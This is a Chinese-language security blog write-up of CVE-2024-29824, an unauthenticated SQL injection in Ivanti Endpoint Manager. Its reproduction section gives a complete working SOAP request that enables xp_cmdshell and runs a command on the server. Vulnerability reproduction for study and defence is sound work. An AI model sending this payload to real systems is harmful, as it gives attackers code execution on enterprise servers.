CVE-2024-29824：Ivanti EPM SQL注入漏洞

关注我们 ❤️，添加星标 🌟，一起学安全！
作者：七安@Timeline Sec
本文字数：2351
阅读时长：2 ～ 4min
声明：仅供学习参考使用，请勿用作违法用途，否则后果自负

0x01 简介

Ivanti Endpoint Manager (EPM) 是一款由 Ivanti 公司开发的综合性端点管理解决方案。它旨在帮助企业有效管理和保护其网络中的所有端点设备，包括桌面、笔记本电脑、服务器、移动设备和虚拟环境。

0x02 漏洞概述

漏洞编号：CVE-2024-29824

攻击者可以利用该漏洞进行未授权的 SQL 注入并可以执行系统任意代码。官方的公告中提出的是：

An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.

Ivanti EPM 2022 SU5 及更早版本的核心服务器中存在未指定的 SQL 注入漏洞，允许同一网络内未经身份验证的攻击者执行任意代码。（此设备内网环境中使用偏多）

0x03 影响版本

version <= Ivanti EPM 2022 SU5

0x04 环境搭建

下载安装包，需要注意的是：Ivanti Endpoint Manager 需要安装 Windows Server 下

然后一直点下一步就好了，安装过程大概需要 30 分钟左右，由于并没有许可，所以我们选择试用。

激活之后访问 https://IP 即可，这里访问首页会得到如下错误

这个错误并不影响我们漏洞复现，因此可以不纠结这个错误

0x05 漏洞复现

使用 BP 发送请求

使用 Process Hacker 查看进程，可以到 calc.exe 已经在后台运行，执行命令成功。

完整数据包：

POST /WSStatusEvents/EventHandler.asmx HTTP/1.1  
Host: host  
User-Agent: python-requests/2.31.0  
Accept-Encoding: gzip, deflate, br  
Accept: */*  
Connection: close  
Content-Type: application/soap+xml  
Content-Length: 720  
  
<?xml version="1.0" encoding="utf-8"?>  
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">  
  <soap12:Body>  
    <UpdateStatusEvents xmlns="http://tempuri.org/">  
      <deviceID>string</deviceID>  
      <actions>  
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">  
          <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'calc.exe'--</status>  
        </Action>  
      </actions>  
    </UpdateStatusEvents>  
  </soap12:Body>  
</soap12:Envelope>

0x06 补丁对比

具体的分析可以看 horizon3